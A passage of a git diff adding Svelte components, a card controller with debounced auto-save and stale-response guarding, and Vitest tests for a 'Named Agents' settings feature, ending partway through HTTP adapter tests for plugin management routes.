+ {/if}
+ {#each providers as provider (provider)}
+ <option value={provider}>{providerLabel(provider)}</option>
+ {/each}
+ </select>
+
+ <span class="mt-1 text-[10px] uppercase opacity-60">Model</span>
+ <select
+ class="select select-bordered select-sm w-full"
+ aria-label="Named agent model"
+ value={controller.draft.model}
+ disabled={controller.draft.provider === ""}
+ onchange={(e) => controller.setModel(e.currentTarget.value)}
+ >
+ {#if controller.draft.provider === ""}
+ <option value="" disabled>Select provider first</option>
+ {:else if controller.draft.model === ""}
+ <option value="" disabled>Select a model…</option>
+ {/if}
+ {#each providerModels as model (model)}
+ <option value={model}>{model}</option>
+ {/each}
+ {#if !selectedResolves && controller.draft.model !== ""}
+ <!-- The saved selection is no longer in the live catalog (its provider/
+ credential was removed) — keep showing it as unavailable rather than
+ silently rewriting it. -->
+ <option value={controller.draft.model} disabled>
+ {fullModel} (unavailable)
+ </option>
+ {/if}
+ </select>
+
+ {#if !validity.usable && validity.message !== null}
+ <p class="mt-1 text-xs text-warning" role="status">{validity.message}</p>
+ {/if}
+
+ <div class="mt-2 flex items-center justify-between gap-2">
+ <span
+ class="text-xs"
+ class:text-error={controller.save.status === "error" && controller.save.error !== null}
+ class:opacity-60={controller.save.status !== "saving" && controller.save.status !== "error"}
+ role="status"
+ >
+ {statusLabel}{#if controller.save.error !== null}: {controller.save.error}{/if}
+ </span>
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs text-error"
+ aria-label="Remove named agent"
+ disabled={controller.saving}
+ onclick={() => controller.remove()}
+ >
+ Remove
+ </button>
+ </div>
+</div> \ No newline at end of file
diff --git a/src/features/named-agents/ui/NamedAgentsView.svelte b/src/features/named-agents/ui/NamedAgentsView.svelte
new file mode 100644
index 0000000..743ac20
--- /dev/null
+++ b/src/features/named-agents/ui/NamedAgentsView.svelte
@@ -0,0 +1,126 @@
+<script lang="ts">
+ import { untrack } from "svelte";
+ import type { NamedAgent } from "../logic/types";
+ import type { NamedAgentPorts } from "./controller.svelte";
+ import { createCardController, type CardController } from "./controller.svelte";
+ import NamedAgentCard from "./NamedAgentCard.svelte";
+
+ interface Row {
+ key: number;
+ agent: NamedAgent | null;
+ controller: CardController;
+ }
+
+ let {
+ agents,
+ models,
+ ports,
+ }: {
+ /** The persisted Named Agents (seed for the cards; the store stays authoritative for consumers). */
+ agents: readonly NamedAgent[];
+ /** Available models (`<provider>/<model>`) — the source of the provider/model dropdowns. */
+ models: readonly string[];
+ ports: NamedAgentPorts;
+ } = $props();
+
+ // The view OWNS the editable card rows (each a controller + its last-saved
+ // canonical agent). Seeded once from the `agents` snapshot on mount (untracked
+ // so a later store update — which this view drove — never clobbers an
+ // in-flight draft). The store remains authoritative for other consumers.
+ let rows = $state<Row[]>([]);
+ let nextKey = $state(0);
+ let seeded = $state(false);
+
+ $effect(() => {
+ untrack(() => {
+ if (seeded) return;
+ seeded = true;
+ for (const a of agents) addRow(a);
+ });
+ });
+
+ /**
+ * The other rows' names (excluding the row with `rowKey`) for the uniqueness
+ * hint. Identity is the ROW's stable `key` — a draft (`agent === null`) must
+ * still exclude ITSELF (otherwise a fresh draft collides with its own name),
+ * while any OTHER draft is a genuine sibling.
+ */
+ function otherNamesOf(rowKey: number): readonly string[] {
+ const out: string[] = [];
+ for (const r of rows) {
+ if (r.key === rowKey) continue;
+ out.push(r.agent !== null ? r.agent.name : r.controller.draft.name);
+ }
+ return out;
+ }
+
+ /**
+ * Live uniqueness predicate for a card: true when `name` collides with a
+ * SIBLING row (excludes the card's own row by its stable `rowKey` — not by a
+ * nullable persisted id, so a draft excludes itself exactly once).
+ */
+ function isNameTakenFor(rowKey: number): (name: string) => boolean {
+ return (name: string): boolean => {
+ const lower = name.trim().toLowerCase();
+ for (const r of rows) {
+ if (r.key === rowKey) continue;
+ const candidate = r.agent !== null ? r.agent.name : r.controller.draft.name;
+ if (candidate.trim().toLowerCase() === lower) return true;
+ }
+ return false;
+ };
+ }
+
+ function addRow(agent: NamedAgent | null): void {
+ // Capture the row's stable key FIRST so the controller's callbacks reconcile
+ // THIS row only — never a sibling draft (`agent === null` matches all).
+ const key = nextKey++;
+ const controller = createCardController({
+ agent,
+ savedModel: agent?.model ?? "",
+ isNameTaken: isNameTakenFor(key),
+ ports,
+ onChanged: (saved) => replaceAgent(key, saved),
+ onRemoved: () => removeRow(key),
+ });
+ rows = [...rows, { key, agent, controller }];
+ }
+
+ function replaceAgent(key: number, saved: NamedAgent): void {
+ rows = rows.map((r) => (r.key === key ? { ...r, agent: saved } : r));
+ }
+
+ function removeRow(key: number): void {
+ const row = rows.find((r) => r.key === key);
+ if (row === undefined) return;
+ row.controller.dispose();
+ rows = rows.filter((r) => r.key !== key);
+ }
+
+ function addDraft(): void {
+ addRow(null);
+ }
+</script>
+
+<div class="flex flex-col gap-2">
+ <ul class="flex flex-col gap-2">
+ {#each rows as row (row.key)}
+ <li>
+ <NamedAgentCard
+ models={models}
+ agent={row.agent}
+ controller={row.controller}
+ otherNames={otherNamesOf(row.key)}
+ />
+ </li>
+ {/each}
+ </ul>
+
+ {#if rows.length === 0}
+ <p class="text-xs opacity-60">No named agents yet.</p>
+ {/if}
+
+ <button type="button" class="btn btn-ghost btn-xs w-fit" onclick={addDraft}>
+ + Add Named Agent
+ </button>
+</div> \ No newline at end of file
diff --git a/src/features/named-agents/ui/NamedAgentsView.test.ts b/src/features/named-agents/ui/NamedAgentsView.test.ts
new file mode 100644
index 0000000..bac4e25
--- /dev/null
+++ b/src/features/named-agents/ui/NamedAgentsView.test.ts
@@ -0,0 +1,181 @@
+import { render, screen } from "@testing-library/svelte";
+import type { UserEvent } from "@testing-library/user-event";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type {
+ CreateNamedAgent,
+ DeleteNamedAgent,
+ NamedAgentInput,
+ UpdateNamedAgent,
+} from "../logic/types";
+import type { NamedAgentPorts } from "./controller.svelte";
+import NamedAgentsView from "./NamedAgentsView.svelte";
+
+// ── Fakes for the injected ports (ONLY the outermost edge — no sibling module
+// is mocked). A modest `debounceMs` keeps name edits coalesced into one save
+// (with 0, each keystroke fires its own update) while provider/model saves stay
+// immediate (the model setter dispatches synchronously).
+function makePorts(): {
+ ports: NamedAgentPorts;
+ created: NamedAgentInput[];
+ updated: { id: string; input: NamedAgentInput }[];
+ removed: string[];
+} {
+ const created: NamedAgentInput[] = [];
+ const updated: { id: string; input: NamedAgentInput }[] = [];
+ const removed: string[] = [];
+ const ports: NamedAgentPorts = {
+ create: (async (input) => {
+ created.push(input);
+ return { ok: true, agent: { id: `new-${created.length}`, ...input } };
+ }) as CreateNamedAgent,
+ update: (async (id, input) => {
+ updated.push({ id, input });
+ return { ok: true, agent: { id, ...input } };
+ }) as UpdateNamedAgent,
+ remove: (async (id) => {
+ removed.push(id);
+ return { ok: true } as const;
+ }) as DeleteNamedAgent,
+ debounceMs: 150,
+ };
+ return { ports, created, updated, removed };
+}
+
+const MODELS = ["opencode-1/claude-sonnet-4.5", "anthropic/sonnet"] as unknown as readonly string[];
+
+const DUP_MESSAGE = "A named agent with this name already exists.";
+
+function renderView() {
+ const fakes = makePorts();
+ render(NamedAgentsView, { props: { agents: [], models: MODELS, ports: fakes.ports } });
+ return fakes;
+}
+
+async function addDraft(user: UserEvent): Promise<void> {
+ await user.click(screen.getByRole("button", { name: "+ Add Named Agent" }));
+}
+
+async function typeName(index: number, name: string): Promise<void> {
+ const inputs = screen.getAllByLabelText("Named agent name");
+ const input = inputs[index];
+ if (input === undefined) throw new Error(`No named-agent name input at index ${index}`);
+ await userEvent.setup().clear(input);
+ await userEvent.setup().type(input, name);
+}
+
+async function completeDraft(index: number): Promise<void> {
+ const user = userEvent.setup();
+ // Provider first (the model select is disabled until a provider is chosen).
+ const providerSelect = screen.getAllByLabelText("Named agent provider")[index];
+ if (providerSelect === undefined) throw new Error(`No provider select at index ${index}`);
+ await user.selectOptions(providerSelect, "opencode-1");
+ const modelSelect = screen.getAllByLabelText("Named agent model")[index];
+ if (modelSelect === undefined) throw new Error(`No model select at index ${index}`);
+ await user.selectOptions(modelSelect, "claude-sonnet-4.5");
+}
+
+afterEach(() => {
+ vi.useRealTimers();
+});
+
+describe("NamedAgentsView", () => {
+ it("a fresh single draft does not self-collide with its own name", async () => {
+ renderView();
+ await addDraft(userEvent.setup());
+ await typeName(0, "Coding Agent");
+
+ // The card is not yet usable (no model) so it shows a model hint, but it
+ // must NOT report its own draft name as an existing duplicate.
+ await screen.findByText("Select a provider.");
+ expect(screen.queryByText(DUP_MESSAGE)).toBeNull();
+ });
+
+ it("two drafts with DISTINCT names neither self-collide", async () => {
+ const user = userEvent.setup();
+ renderView();
+ await addDraft(user);
+ await typeName(0, "Coding Agent");
+ await addDraft(user);
+ await typeName(1, "Writer");
+
+ // Each must see the OTHER's name as an other-name, never its OWN.
+ expect(screen.queryByText(DUP_MESSAGE)).toBeNull();
+ });
+
+ it("two drafts with the SAME name are a genuine sibling collision (each flags it)", async () => {
+ const user = userEvent.setup();
+ renderView();
+ await addDraft(user);
+ await typeName(0, "Coding Agent");
+ await addDraft(user);
+ await typeName(1, "Coding Agent");
+
+ // Duplicate names among DISTINCT rows are invalid — both rows must report it
+ // (the self is excluded, but the sibling's identical name is a real collision).
+ expect((await screen.findAllByText(DUP_MESSAGE)).length).toBe(2);
+ });
+
+ it("saving one of multiple drafts persists only that row (distinct records)", async () => {
+ const user = userEvent.setup();
+ const fakes = renderView();
+ await addDraft(user);
+ await typeName(0, "Coding Agent");
+ await addDraft(user);
+ await typeName(1, "Writer");
+
+ // Both drafts complete to usable cards → each dispatches its OWN create.
+ await completeDraft(0);
+ await completeDraft(1);
+
+ await vi.waitFor(() => expect(fakes.created).toHaveLength(2));
+ expect(fakes.created[0]?.name).toBe("Coding Agent");
+ expect(fakes.created[1]?.name).toBe("Writer");
+ // Each persisted record got its own server-minted id (a single draft must
+ // not clobber its sibling's reconciling to the same record).
+ expect(await screen.findAllByText("Saved")).toHaveLength(2);
+ });
+
+ it("after a draft persists, a sibling draft does not self-collide and the saved row re-saves on edit", async () => {
+ const user = userEvent.setup();
+ const fakes = renderView();
+ await addDraft(user);
+ await typeName(0, "Coding Agent");
+ await completeDraft(0);
+ await vi.waitFor(() => expect(fakes.created).toHaveLength(1));
+
+ // Add a second draft with a DIFFERENT name. After row 0 is persisted, this
+ // still-draft row must not treat its own name as a duplicate.
+ await addDraft(user);
+ await typeName(1, "Writer");
+ expect(screen.queryByText(DUP_MESSAGE)).toBeNull();
+
+ // The saved card's controller now owns a real id → a later edit targets an
+ // UPDATE of the SAME row (id new-1), never a fresh create.
+ await typeName(0, "Coding Agent X");
+ await vi.waitFor(() => expect(fakes.updated.length).toBeGreaterThanOrEqual(1));
+ expect(fakes.updated[0]?.id).toBe("new-1");
+ expect(fakes.updated[0]?.input.name).toBe("Coding Agent X");
+ // Still exactly one create — the edit reconciled, not re-created.
+ expect(fakes.created).toHaveLength(1);
+ });
+
+ it("removing one of multiple drafts removes only that row", async () => {
+ const user = userEvent.setup();
+ renderView();
+ await addDraft(user);
+ await typeName(0, "Coding Agent");
+ await addDraft(user);
+ await typeName(1, "Writer");
+
+ // Remove the SECOND card — the first must survive.
+ const removeButtons = screen.getAllByRole("button", { name: "Remove named agent" });
+ const second = removeButtons[1];
+ if (second === undefined) throw new Error("Expected a second Remove button");
+ await user.click(second);
+
+ const inputs = await screen.findAllByLabelText("Named agent name");
+ expect(inputs).toHaveLength(1);
+ expect((inputs[0] as HTMLInputElement).value).toBe("Coding Agent");
+ });
+});
diff --git a/src/features/named-agents/ui/controller.svelte.ts b/src/features/named-agents/ui/controller.svelte.ts
new file mode 100644
index 0000000..51c85b0
--- /dev/null
+++ b/src/features/named-agents/ui/controller.svelte.ts
@@ -0,0 +1,257 @@
+// Injected shell for Named Agent auto-save: owns the reactive per-card editing
+// + save lifecycle (the thin rune wrapper over `logic/auto-save`), the debounce
+// timer for name edits, and the monotonic sequence guard that stops an older
+// save response clobbering a newer edit. No ambient state: ONE controller per
+// card, created by the view and disposed on unmount. The network calls
+// (create/update/delete) are INJECTED ports — this module never touches
+// fetch/DOM.
+//
+// The pure model (`logic/auto-save`) does the status/validity reasoning; this
+// controller only owns the effectful plumbing + the sequence guard. A live
+// `isNameTaken` callback (supplied by the owning view against the CURRENT
+// sibling list) keeps the controller from persisting a duplicate name.
+
+import {
+ type AgentDraft,
+ type AgentSaved,
+ draftModel,
+ type SaveStatus,
+ saveStatus,
+} from "../logic/auto-save";
+import type {
+ CreateNamedAgent,
+ DeleteNamedAgent,
+ NamedAgent,
+ NamedAgentInput,
+ UpdateNamedAgent,
+} from "../logic/types";
+import { isUsableModel, normalizeName } from "../logic/validate";
+
+/** Named-agent edit port bundle (injected by the composition root). */
+export interface NamedAgentPorts {
+ create: CreateNamedAgent;
+ update: UpdateNamedAgent;
+ remove: DeleteNamedAgent;
+ /** Debounce delay (ms) for NAME edits only (provider/model saves are immediate). */
+ debounceMs?: number;
+}
+
+export interface CardSaveState {
+ /** The current reactive save status (drives the status line). */
+ readonly status: SaveStatus;
+ /** A save-failure error message, or null. */
+ readonly error: string | null;
+}
+
+/** A fully-wired Named Agent card controller (one per card row). */
+export interface CardController {
+ /** The current reactive status + error. */
+ readonly save: CardSaveState;
+ /** Read the current draft (const snapshots already applied via the setter methods). */
+ readonly draft: AgentDraft;
+ /** Whether the card is currently awaiting a save response. */
+ readonly saving: boolean;
+ /** Bind a provider id into the draft (immediate save once a model is chosen). */
+ setProvider(provider: string): void;
+ /** Bind a model suffix under the current provider (immediate save). */
+ setModel(model: string): void;
+ /** Bind a raw name edit (debounced save when it becomes usable). */
+ setName(name: string): void;
+ /** Remove the Named Agent (for an existing card) — notifies via `onRemoved`. */
+ remove(): void;
+ /** Dispose timers; call on unmount. */
+ dispose(): void;
+}
+
+export interface CardControllerOptions {
+ /** The existing Named Agent this card edits, or null for a new draft. */
+ agent: NamedAgent | null;
+ /** The saved full `<provider>/<model>` ('' for a new draft). */
+ savedModel: string;
+ /**
+ * Live uniqueness predicate: true when `name` is already taken by a SIBLING
+ * card (the view EXCLUDES this card's own id). Drives the controller's
+ * usable-name gate so a duplicate is never persisted.
+ */
+ isNameTaken: (name: string) => boolean;
+ ports: NamedAgentPorts;
+ /** Fired with the canonical saved record when a create/update settles. */
+ onChanged: (agent: NamedAgent) => void;
+ /** Fired when the card should leave the list (after a successful remove, or an unsaved draft). */
+ onRemoved: () => void;
+}
+
+/**
+ * A card controller bound to one Named Agent (existing) or a new draft.
+ *
+ * The controller owns ONLY this card's draft + save lifecycle; the sibling list
+ * (for uniqueness + reconciling the authoritative list after a save) is the
+ * parent view's. `onChanged` lets the parent replace the card's canonical record
+ * on success; `onRemoved` fires when the card is to be dropped.
+ */
+export function createCardController(opts: CardControllerOptions): CardController {
+ const debounceMs = opts.ports.debounceMs ?? 400;
+
+ // ── The draft: raw form controls (name/provider/model) owned reactively. ──
+ const { agent, savedModel } = opts;
+ let id = $state<string | null>(agent?.id ?? null);
+ let name = $state<string>(agent?.name ?? "");
+ let provider = $state<string>(savedModel === "" ? "" : (savedModel.split("/")[0] ?? ""));
+ let model = $state<string>(
+ savedModel === "" ? "" : savedModel.slice(savedModel.indexOf("/") + 1),
+ );
+
+ // ── Saved-state + in-flight/sequence tracking. ──
+ // `savedName`/`savedModelValue` = the last PERSISTED definition; `error` =
+ // last save failure. `editSeq` increments on every input change; a save
+ // captures the seq at dispatch time and applies its result ONLY if it is still
+ // the latest — an older response can never overwrite a newer edit (§5.4).
+ let savedName = $state<string>(agent?.name ?? "");
+ let savedModelValue = $state<string>(savedModel);
+ let saving = $state(false);
+ let error = $state<string | null>(null);
+
+ let editSeq = 0;
+ let nameTimer: ReturnType<typeof setTimeout> | null = null;
+
+ function currentDraft(): AgentDraft {
+ return { id, name, provider, model };
+ }
+
+ function bump(): number {
+ return ++editSeq;
+ }
+
+ function nameUsable(): boolean {
+ // A usable name is nonempty + not already taken by a sibling card.
+ const normalized = normalizeName(name);
+ return normalized !== "" && !opts.isNameTaken(normalized);
+ }
+
+ function usable(full: string): boolean {
+ return nameUsable() && isUsableModel(full);
+ }
+
+ // A save is owed + legal to dispatch right now when the card is usable and
+ // differs from the persisted definition (or is a fresh, usable draft).
+ function shouldSaveNow(): boolean {
+ const d = currentDraft();
+ const full = draftModel(d);
+ if (!usable(full)) return false;
+ if (id === null && savedName === "" && savedModelValue === "") return true; // fresh draft
+ return normalizeName(d.name) !== savedName || full !== savedModelValue;
+ }
+
+ function doSave(seq: number): void {
+ const d = currentDraft();
+ const full = draftModel(d);
+ if (!usable(full)) return;
+ saving = true;
+ error = null;
+
+ function settle(ok: boolean, saved?: NamedAgent, err?: string): void {
+ // Stale-response guard: only apply if this is still the latest edit.
+ if (seq !== editSeq) return;
+ saving = false;
+ if (ok && saved) {
+ savedName = saved.name;
+ savedModelValue = saved.model;
+ id = saved.id;
+ opts.onChanged(saved);
+ } else {
+ error = err ?? "Save failed";
+ }
+ }
+
+ const input: NamedAgentInput = { name: normalizeName(d.name), model: full };
+ if (id === null) {
+ void opts.ports.create(input).then(
+ (r) => (r.ok ? settle(true, r.agent) : settle(false, undefined, r.error)),
+ (e) => settle(false, undefined, String(e)),
+ );
+ } else {
+ void opts.ports.update(id, input).then(
+ (r) => (r.ok ? settle(true, r.agent) : settle(false, undefined, r.error)),
+ (e) => settle(false, undefined, String(e)),
+ );
+ }
+ }
+
+ function scheduleNameSave(): void {
+ if (nameTimer !== null) clearTimeout(nameTimer);
+ const seq = editSeq;
+ nameTimer = setTimeout(() => {
+ nameTimer = null;
+ if (shouldSaveNow()) doSave(seq);
+ }, debounceMs);
+ }
+
+ function saveImmediately(): void {
+ if (nameTimer !== null) {
+ clearTimeout(nameTimer);
+ nameTimer = null;
+ }
+ const seq = editSeq;
+ if (shouldSaveNow()) doSave(seq);
+ }
+
+ // Reactive derived status: from the current draft + saved + in-flight + error,
+ // via the PURE `saveStatus` (this shell supplies only the orchestration inputs).
+ const save = $derived.by<CardSaveState>(() => {
+ const d = currentDraft();
+ const saved: AgentSaved = { id, name: savedName, model: savedModelValue };
+ return { status: saveStatus(d, saved, saving, error), error };
+ });
+
+ return {
+ get save(): CardSaveState {
+ return save;
+ },
+ get draft(): AgentDraft {
+ return currentDraft();
+ },
+ get saving(): boolean {
+ return saving;
+ },
+ setProvider(next: string): void {
+ bump();
+ provider = next;
+ // Changing provider clears the prior model if it may not belong to the new
+ // one; the model dropdown re-populates from the new provider. Persist only
+ // once a valid model is selected (§5.5) → the model change saves immediately.
+ model = "";
+ },
+ setModel(next: string): void {
+ bump();
+ model = next;
+ saveImmediately();
+ },
+ setName(next: string): void {
+ bump();
+ name = next;
+ scheduleNameSave();
+ },
+ remove(): void {
+ if (id === null) {
+ // An unsaved draft — nothing server-side to delete.
+ opts.onRemoved();
+ return;
+ }
+ saving = true;
+ void opts.ports.remove(id).then(
+ () => {
+ saving = false;
+ opts.onRemoved();
+ },
+ (e) => {
+ saving = false;
+ error = String(e);
+ },
+ );
+ },
+ dispose(): void {
+ if (nameTimer !== null) clearTimeout(nameTimer);
+ nameTimer = null;
+ },
+ };
+}
diff --git a/src/features/named-agents/ui/controller.test.ts b/src/features/named-agents/ui/controller.test.ts
new file mode 100644
index 0000000..1655a31
--- /dev/null
+++ b/src/features/named-agents/ui/controller.test.ts
@@ -0,0 +1,237 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { NamedAgent, NamedAgentInput, NamedAgentSaveResult } from "../logic/types";
+import { createCardController, type NamedAgentPorts } from "./controller.svelte";
+
+function fakePorts(overrides?: {
+ create?: NamedAgentPorts["create"];
+ update?: NamedAgentPorts["update"];
+ remove?: NamedAgentPorts["remove"];
+ debounceMs?: number;
+}): {
+ ports: NamedAgentPorts;
+ created: NamedAgentInput[];
+ updated: Array<{ id: string; input: NamedAgentInput }>;
+ removed: string[];
+} {
+ const created: NamedAgentInput[] = [];
+ const updated: Array<{ id: string; input: NamedAgentInput }> = [];
+ const removed: string[] = [];
+ const settle = (r: NamedAgentSaveResult) => Promise.resolve(r);
+ return {
+ ports: {
+ create:
+ overrides?.create ??
+ ((input) => {
+ created.push(input);
+ return settle({ ok: true, agent: { id: `new-${created.length}`, ...input } });
+ }),
+ update:
+ overrides?.update ??
+ ((id, input) => {
+ updated.push({ id, input });
+ return settle({ ok: true, agent: { id, ...input } });
+ }),
+ remove:
+ overrides?.remove ??
+ ((id) => {
+ removed.push(id);
+ return Promise.resolve({ ok: true } as const);
+ }),
+ debounceMs: overrides?.debounceMs ?? 0,
+ } as NamedAgentPorts,
+ created,
+ updated,
+ removed,
+ };
+}
+
+afterEach(() => {
+ vi.useRealTimers();
+});
+
+describe("createCardController", () => {
+ it("creates a new draft when it becomes fully usable and the model is set", async () => {
+ vi.useFakeTimers();
+ const { ports, created } = fakePorts();
+ const changed: NamedAgent[] = [];
+ const c = createCardController({
+ agent: null,
+ savedModel: "",
+ isNameTaken: () => false,
+ ports,
+ onChanged: (a) => changed.push(a),
+ onRemoved: () => {},
+ });
+ c.setName("Coding Agent");
+ c.setProvider("opencode-1");
+ c.setModel("claude-sonnet-4.5");
+ // The model setter saves immediately (the create is dispatched synchronously).
+ expect(created).toHaveLength(1);
+ expect(created[0]).toEqual({ name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" });
+ // The canonical record + onChanged land after the create promise resolves.
+ await vi.runAllTimersAsync();
+ expect(changed).toHaveLength(1);
+ expect(changed[0]?.id).toBe("new-1");
+ c.dispose();
+ });
+
+ it("does not create with only a name (needs a provider + model)", () => {
+ vi.useFakeTimers();
+ const { ports, created } = fakePorts();
+ const c = createCardController({
+ agent: null,
+ savedModel: "",
+ isNameTaken: () => false,
+ ports,
+ onChanged: () => {},
+ onRemoved: () => {},
+ });
+ c.setName("Coding Agent");
+ vi.advanceTimersByTime(500);
+ expect(created).toHaveLength(0);
+ c.dispose();
+ });
+
+ it("does not persist a name that is already taken", () => {
+ vi.useFakeTimers();
+ const { ports, created } = fakePorts();
+ const c = createCardController({
+ agent: null,
+ savedModel: "",
+ isNameTaken: (name) => name.toLowerCase() === "coding agent",
+ ports,
+ onChanged: () => {},
+ onRemoved: () => {},
+ });
+ c.setName("Coding Agent");
+ c.setProvider("opencode-1");
+ c.setModel("claude-sonnet-4.5");
+ expect(created).toHaveLength(0);
+ c.dispose();
+ });
+
+ it("updates an existing card and reports Saved once clean", async () => {
+ vi.useFakeTimers();
+ const existing: NamedAgent = {
+ id: "a1",
+ name: "Coding",
+ model: "opencode-1/claude-sonnet-4.5",
+ };
+ const { ports, updated } = fakePorts({ debounceMs: 100 });
+ const c = createCardController({
+ agent: existing,
+ savedModel: existing.model,
+ isNameTaken: () => false,
+ ports,
+ onChanged: () => {},
+ onRemoved: () => {},
+ });
+ expect(c.save.status).toBe("saved");
+ c.setName("Coding X");
+ // Within the debounce window the edit is unsaved → "dirty".
+ await vi.advanceTimersByTimeAsync(20);
+ expect(c.save.status).toBe("dirty");
+ // Past the debounce the name save fires → the update is dispatched.
+ await vi.advanceTimersByTimeAsync(200);
+ expect(updated).toHaveLength(1);
+ expect(updated[0]?.id).toBe("a1");
+ expect(updated[0]?.input.name).toBe("Coding X");
+ // After the update promise resolves the card reads clean → "saved".
+ await vi.runAllTimersAsync();
+ expect(c.save.status).toBe("saved");
+ c.dispose();
+ });
+
+ it("marks the status as error and keeps the draft on save failure", async () => {
+ vi.useFakeTimers();
+ const { ports } = fakePorts({
+ create: () => Promise.resolve({ ok: false, error: "duplicate name" as const }),
+ });
+ const c = createCardController({
+ agent: null,
+ savedModel: "",
+ isNameTaken: () => false,
+ ports,
+ onChanged: () => {},
+ onRemoved: () => {},
+ });
+ c.setName("Coding");
+ c.setProvider("opencode-1");
+ c.setModel("claude");
+ await vi.runAllTimersAsync();
+ expect(c.save.status).toBe("error");
+ expect(c.save.error).toBe("duplicate name");
+ expect(c.draft.name).toBe("Coding");
+ c.dispose();
+ });
+
+ it("guards stale responses: a newer edit is not overwritten by an older save result", async () => {
+ vi.useFakeTimers();
+ const pending: { resolve: ((r: NamedAgentSaveResult) => void) | null } = { resolve: null };
+ const { ports } = fakePorts({
+ create: () => new Promise<NamedAgentSaveResult>((res) => (pending.resolve = res)),
+ });
+ const c = createCardController({
+ agent: null,
+ savedModel: "",
+ isNameTaken: () => false,
+ ports,
+ onChanged: () => {},
+ onRemoved: () => {},
+ });
+ // Kick a save in flight, then edit again before it resolves.
+ c.setName("A");
+ c.setProvider("opencode-1");
+ c.setModel("claude");
+ c.setName("B"); // sequence bumps past the in-flight save
+ expect(pending.resolve).not.toBeNull();
+ pending.resolve?.({ ok: true, agent: { id: "x", name: "A", model: "opencode-1/claude" } });
+ await vi.runAllTimersAsync();
+ // The stale "A" create must NOT have applied the old result (saving cleared,
+ // but the draft still reads B and no onChanged with "A").
+ expect(c.draft.name).toBe("B");
+ c.dispose();
+ });
+
+ it("remove() on an existing card calls remove and drops via onRemoved", async () => {
+ vi.useFakeTimers();
+ const existing: NamedAgent = {
+ id: "a1",
+ name: "Coding",
+ model: "opencode-1/claude",
+ };
+ const { ports, removed } = fakePorts();
+ let removedCard = false;
+ const c = createCardController({
+ agent: existing,
+ savedModel: existing.model,
+ isNameTaken: () => false,
+ ports,
+ onChanged: () => {},
+ onRemoved: () => (removedCard = true),
+ });
+ c.remove();
+ await vi.runAllTimersAsync();
+ expect(removed).toEqual(["a1"]);
+ expect(removedCard).toBe(true);
+ c.dispose();
+ });
+
+ it("remove() on an unsaved draft drops it without a server call", () => {
+ vi.useFakeTimers();
+ const { ports, removed } = fakePorts();
+ let removedCard = false;
+ const c = createCardController({
+ agent: null,
+ savedModel: "",
+ isNameTaken: () => false,
+ ports,
+ onChanged: () => {},
+ onRemoved: () => (removedCard = true),
+ });
+ c.remove();
+ expect(removed).toHaveLength(0);
+ expect(removedCard).toBe(true);
+ c.dispose();
+ });
+});
diff --git a/src/features/plugins/adapter/http.test.ts b/src/features/plugins/adapter/http.test.ts
new file mode 100644
index 0000000..b1fe477
--- /dev/null
+++ b/src/features/plugins/adapter/http.test.ts
@@ -0,0 +1,177 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { createPluginsHttp } from "./http";
+
+/** A stub fetch that records requests and replies from a handler. */
+function stubFetch(handler: (url: string, init?: RequestInit) => Response | Promise<Response>) {
+ const impl = vi.fn(async (input: string | URL | Request, init?: RequestInit) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ return await handler(url, init);
+ });
+ return impl as unknown as typeof fetch;
+}
+
+const okJson = (body: unknown): Response =>
+ ({ ok: true, status: 200, json: async () => body }) as unknown as Response;
+
+afterEach(() => {
+ vi.restoreAllMocks();
+});
+
+describe("createPluginsHttp — manager routes (plan 05)", () => {
+ it("GET /plugins returns the parsed list (null on failure)", async () => {
+ const fetch1 = stubFetch(() =>
+ okJson({ loaded: [], disabledWithReason: [], discovered: [], missing: [] }),
+ );
+ const http = createPluginsHttp("http://x", fetch1);
+ await expect(http.list()).resolves.toEqual({
+ loaded: [],
+ disabledWithReason: [],
+ discovered: [],
+ missing: [],
+ });
+
+ const fetch2 = stubFetch(() => ({ ok: false, status: 503 }) as unknown as Response);
+ await expect(createPluginsHttp("http://x", fetch2).list()).resolves.toBeNull();
+ });
+
+ it("POST /plugins/scan posts to the scan route", async () => {
+ let seenUrl = "";
+ let seenInit: RequestInit | undefined;
+ const fetch1 = stubFetch((url, init) => {
+ seenUrl = url;
+ seenInit = init;
+ return okJson({ root: "/plugins", newPlugins: [], invalid: [], incompatible: [] });
+ });
+ const http = createPluginsHttp("http://x", fetch1);
+ const result = await http.scan();
+ expect(result.ok).toBe(true);
+ expect(seenUrl).toBe("http://x/plugins/scan");
+ expect(seenInit?.method).toBe("POST");
+ });
+
+ it("POST /plugins/:id/unload sends the force flag in the body", async () => {
+ let seenBody: string | undefined;
+ const fetch1 = stubFetch((_url, init) => {
+ seenBody = init?.body as string;
+ return okJson({ ok: true, action: "unload", id: "mcp" });
+ });
+ const http = createPluginsHttp("http://x", fetch1);
+ await http.unload("mcp", true);
+ expect(JSON.parse(seenBody ?? "{}")).toEqual({ force: true });
+ });
+
+ it("maps a blocked mutation (409) to ok:false with reason + dependents", async () => {
+ const fetch1 = stubFetch(
+ () =>
+ ({
+ ok: false,
+ status: 409,
+ json: async () => ({
+ ok: false,
+ action: "unload",
+ id: "heartbeat",
+ reason: "cascade-needs-force",
+ message: "blocked",
+ dependents: ["transport-http"],
+ }),
+ }) as unknown as Response,
+ );
+ const http = createPluginsHttp("http://x", fetch1);
+ const result = await http.unload("heartbeat", false);
+ expect(result).toEqual({
+ ok: false,
+ error: "blocked",
+ reason: "cascade-needs-force",
+ dependents: ["transport-http"],
+ });
+ });
+
+ it("load and reload hit their routes with the encoded id", async () => {
+ const urls: string[] = [];
+ const fetch1 = stubFetch((url) => {
+ urls.push(url);
+ return okJson({ ok: true, action: "load", id: "a/b" });
+ });
+ const http = createPluginsHttp("http://x", fetch1);
+ await http.load("a/b");
+ await http.reload("a/b");
+ expect(urls).toEqual(["http://x/plugins/a%2Fb/load", "http://x/plugins/a%2Fb/reload"]);
+ });
+});
+
+describe("createPluginsHttp — workspace routes (plan 06 §6.6)", () => {
+ it("GET /workspaces/:id/plugins returns the parsed response (null on failure)", async () => {
+ const fetch1 = stubFetch(() =>
+ okJson({ workspaceId: "ws", plugins: [], enabledProviderCount: 2 }),
+ );
+ const http = createPluginsHttp("http://x", fetch1);
+ await expect(http.workspacePlugins("ws")).resolves.toEqual({
+ workspaceId: "ws",
+ plugins: [],
+ enabledProviderCount: 2,
+ });
+
